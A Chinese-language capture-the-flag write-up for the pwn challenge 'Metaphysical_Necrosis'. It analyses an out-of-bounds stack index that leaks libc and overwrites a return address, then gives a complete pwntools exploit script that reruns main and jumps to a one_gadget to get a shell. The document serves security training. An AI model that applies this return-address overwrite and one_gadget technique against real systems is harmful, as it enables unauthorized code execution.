

Metaphysical_Necrosis

查保护机制，能打开的都打开了。。

```
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

先执行一下程序：

```
% ./Metaphysical_Necrosis
这一天，你在路上偶遇了睿智的逆向出题人:The eternal God Y!
只见他拿着一把AWP不知道在那瞄谁。
他发现了你，喜出望外:兄弟，包给你快去下包，我帮你架点！
你要把C4安放在哪里呢？
5
AAAA
the bomb has been planted!

a few moments later~
快过年了，正好有一条养了一年多的金枪鱼最近看起来闷闷不乐。
不如把它宰了，吃一顿大餐，你说吼不吼啊！

但是这一年多对它也有了些许感情，因此为了纪念它，你决定给它起个名字:Chutiren
-----
接下来开始切菜，你打算把它切成几段呢？
2
-----
为了满足每个人不同的口味，每一段都打算用不同的烹饪方法。顺带一提，我喜欢糖醋金枪鱼
第0段打算怎么料理呢：0000
第1段打算怎么料理呢：1111
接下来你打算把剩下的鱼骨头做成标本。
-----
|                                                                    |
Chutiren                                                            |
|                                                                    |
-----

就在此时，你发现了一根茄子，这根茄子居然已经把锅里的金枪鱼吃了大半。

仔细观察一下，你发现这居然是一只E99p1ant，并且有大量邪恶的能量从中散发。

你吓得立马扔掉了它，E99p1ant在空中飞行了114514秒，请问它经过的路程是__m:
5
E99p1ant落地后，发现旁边居然有一个C4.....Bomb! Terrorist Win
AAAA
E99p1ant不甘地大喊:啊~~!~?~..._____

E99p1ant变成了茄酱。
[1]      13687 segmentation fault (core dumped)  ./Metaphysical_Necrosis
```

分析一下代码，`main()` 中调用 `game()`：

```

__int64 game()
{
    __int64 ji_duan; // [rsp+0h] [rbp-C0h]
    __int64 v2; // [rsp+8h] [rbp-B8h]
    int v3; // [rsp+8h] [rbp-B8h]
    char v4[160]; // [rsp+10h] [rbp-B0h]
    char v5[8]; // [rsp+B0h] [rbp-10h]
    unsigned __int64 v6; // [rsp+B8h] [rbp-8h]

    v6 = __readfsqword(0x28u);
    LODWORD(v2) = 0;
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    puts(&s);
    puts(&byte_1008);
    puts(&byte_1040);
    puts(&byte_1098);
    HIDWORD(v2) = readi();
    read(0, &v5[8 * HIDWORD(v2)], 8uLL);
    puts("the bomb has been planted!");
    getchar();
    puts("a few moments later~");
    puts(&byte_10F0);
    puts(&byte_1148);
    getchar();
    printf(&format);
    read_n(name, 48LL);
    puts("-----");
    puts(&byte_1238);
    HIDWORD(ji_duan) = readi();
    if ( SHIDWORD(ji_duan) > 20 )
    {
        puts(&byte_1278);
        exit(0);
    }
    puts("-----");
    puts(&byte_12A0);
    LODWORD(ji_duan) = 0;
    while ( BYTE4(ji_duan) > ji_duan )
    {
        printf(&byte_1320, ji_duan, ji_duan, v2);
        memset(&v4[8 * ji_duan], 0, 8uLL);
        read_n(&v4[8 * ji_duan], 8LL);
        LODWORD(ji_duan) = ji_duan + 1;
    }
    puts(&byte_1348);
    sleep(1u);
    puts("-----");
    puts(" | ");
    puts(name);
    puts(" | ");
    puts("-----");
    puts(&byte_1400);
    getchar();
    puts(&byte_1468);
    getchar();
    puts(&byte_14D8);

```

```

    LODWORD(v2) = readi();
    puts(aE99p1ant);
    write(1, &v5[8 * HIDWORD(v2)], 6uLL);
    puts(aE99p1ant_0);
    if ( flag1 == 1 )
    {
        read_n(&e99 + 8 * v3, 8LL);
        puts(aE99p1ant_1);
        flag1 = 0;
    }
    else
    {
        puts(&byte_15D8);
    }
    return 0LL;
}

```

主要的漏洞如下：

```

// 你要把C4安放在哪里呢？
HIDWORD(v2) = readi();
read(0, &v5[8 * HIDWORD(v2)], 8uLL);
// 改写栈地址

// 你吓得立马扔掉了它，E99p1ant在空中飞行了114514秒，请问它经过的路程是__m:
LODWORD(v2) = readi();
puts(aE99p1ant);
write(1, &v5[8 * HIDWORD(v2)], 6uLL);
// 泄漏栈地址，地址同被改写栈地址

```

首先，确定一下能够被改写的栈地址：

- `readi()` 读 0，让 `HIDWORD(v2)=0`
- `read(0, &v5[8 * HIDWORD(v2)], 8uLL);` 时，栈分布如下：

```

0x7fffffffddad0 → 0x555555554f30 (__libc_csu_init)
0x7fffffffddad8 ← 0x78b2cb0fd0178500
0x7fffffffdae0 → 0x7fffffffdafe0 → 0x555555554f30 (__libc_csu_init)
0x7fffffffdae8 → 0x555555554f28 (main+14)
0x7fffffffdaf0 → 0x555555554f30 (__libc_csu_init)
0x7fffffffdaf8 → 0x7ffff7debb6b (__libc_start_main+235)

```

其中 `0x7fffffffddad0` 是 `v5` 的地址，其后依次是：

- `canary`
- `saved rbp1`
- `game` 的返回地址
- `saved rbp2`
- `main` 的返回地址

被改写的栈地址，在之后的 `write(1, &v5[8 * HIDWORD(v2)], 6uLL);`，被泄漏出来

这里可以选择 `readi()` 读 3 泄漏程序的基址，也可以选择 `readi()` 读 5 泄漏 `libc` 的基址

泄漏程序基址似乎没啥用

虽然开了随机化保护，但是 `libc` 函数的后三位是不变的

于是可以覆盖 `main` 的返回地址 `__libc_start_main+235` 的末两位

题目给了 `libc`，看一下 `__libc_start_main`，其中 `0x00020830` 是 `__libc_start_main+235`

```
0x00020808    488d442420    lea rax, [rsp + 0x20]
0x0002080d    644889042500. mov qword fs:[0x300], rax
0x00020816    488b059b363a. mov rax, qword [reloc.__environ_184]
0x0002081d    488b742408    mov rsi, qword [rsp + 8]
0x00020822    8b7c2414      mov edi, dword [rsp + 0x14]
0x00020826    488b10        mov rdx, qword [rax]
0x00020829    488b442418    mov rax, qword [rsp + 0x18]
0x0002082e    ffd0         call rax
0x00020830    89c7         mov edi, eax
```

这题的关键是，想要完成攻击，修改栈地址的漏洞至少要利用**两次**：泄漏 `libc` 一次，`getshell` 一次

`__libc_start_main` 中 `0x0002082e` 这里的 `call rax` 就是 `call main`

所以，覆盖 `__libc_start_main+235` 的末两位为 `08`

这样既可以泄漏 `__libc_start_main`，又能让程序再执行一遍 `main`

泄漏出来 `libc` 后计算 `one_gadget` 的地址：

```
% one_gadget ./libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
    rax == NULL
```

```
offset_addr = 0x20808
offset_one_gadget = 0x45216
one_gadget = addr - offset_addr + offset_one_gadget
```

```
[*] ret: 0x7f2f53727808
[*] one_gadget: 0x7f2f5374c216
```

在第二次执行 `main` 时，覆盖返回地址为 `one_gadget` 即可 `getshell`

对了，题目中这里，有提示大家要再次执行 `main()`：

```
if ( flag1 == 1 )
{
    read_n(&e99 + 8 * v3, 8LL);
    puts(aE99p1ant_1);
    flag1 = 0;
}
else
{
    puts(&byte_15D8); // 嗯?!世界线.....被改变了, 我的Reading Steiner触发了!
}
```

exp

```
#!/usr/bin/python
#coding=utf-8
#__author__:TaQini

from pwn import *

local_file = './Metaphysical_Necrosis'
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = 'libc-2.23.so'
is_local = False
is_remote = False

if len(sys.argv) == 1:
    is_local = True
    p = process(local_file)
    libc = ELF(local_libc)
elif len(sys.argv) > 1:
    is_remote=True
    if len(sys.argv) == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    else:
        host, port = sys.argv[1].split(':')
    p = remote(host, port)
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data                :p.send(data)
sa      = lambda delim,data          :p.sendafter(delim, data)
sl      = lambda data                 :p.sendline(data)
sla     = lambda delim,data          :p.sendlineafter(delim, data)
sea     = lambda delim,data          :p.sendafter(delim, data)
rc      = lambda numb=4096           :p.recv(numb)
ru      = lambda delims, drop=True   :p.recvuntil(delims, drop)
uu32    = lambda data                :u32(data.ljust(4, '\0'))
uu64    = lambda data                :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr         :p.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
    gdb.attach(p,cmd)

# info
# gadget
# elf, libc

print ru('你要把C4安放在哪里呢？\n')
# debug()
sl('5')
if is_local: se('\x43')
if is_remote: se('\x08')
sleep(1)
```

```

ru('the bomb has been planted!\n')
sl('')
print ru('不如把它宰了，吃一顿大餐，你说吼不吼啊！\n')
sl('')
ru('起个名字:')
sl('Imagin')
ru('切成几段呢？\n')
sl('20')
for i in range(20):
    ru('怎么料理呢：')
    sl(p64(i+0xdeadbeef))
ru('金枪鱼吃了大半。\\n')
sl('')
ru('仔细观察一下，你发现这居然是一只E99p1ant，并且有大量邪恶的能量从中散发。\\n')
sl('')
ru('的路程是__m:')
meter = 5 # 好像没啥用
sl(str(meter))

ru('Terrorist Win\\n')
addr = u64(rc(6).ljust(8, '\\0'))
log.hexdump(addr)
info_addr("ret", addr)

if is_remote:
    offset_addr = 0x20808
    offset_one_gadget = 0x45216
if is_local:
    offset_addr = 0x26B43
    offset_one_gadget = 0x106ef8
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
    rax == NULL
'''

one_gadget = addr - offset_addr + offset_one_gadget
info_addr('one_gadget', one_gadget)

ru('~~!~?~...____\\n')

#debug('b *'+hex(addr))
sl('')

# round2

print ru('你要把C4安放在哪里呢？\\n')
sl('5')
se(p64(one_gadget)) # one_gadget
sleep(1)
ru('the bomb has been planted!\n')
sl('')
print ru('不如把它宰了，吃一顿大餐，你说吼不吼啊！\n')
sl('')
ru('起个名字:')
sl('Imagin')
ru('切成几段呢？\n')
sl('20')

```

```
for i in range(20):
    ru('怎么料理呢：')
    sl(p64(i+0xdeadbeef))
ru('金枪鱼吃了大半。\\n')
sl('')
ru('仔细观察一下，你发现这居然是一只E99p1ant，并且有大量邪恶的能量从中散发。\\n')
sl('')
ru('的路程是__m:')
meter = 5 # 好像没啥用
sl(str(meter))

ru('Terrorist Win\\n')
addr = u64(rc(6).ljust(8, '\\0'))
log.hexdump(addr)
info_addr("ret", addr)

ru('~~!~?~...____\\n')

sl('')

p.interactive()
```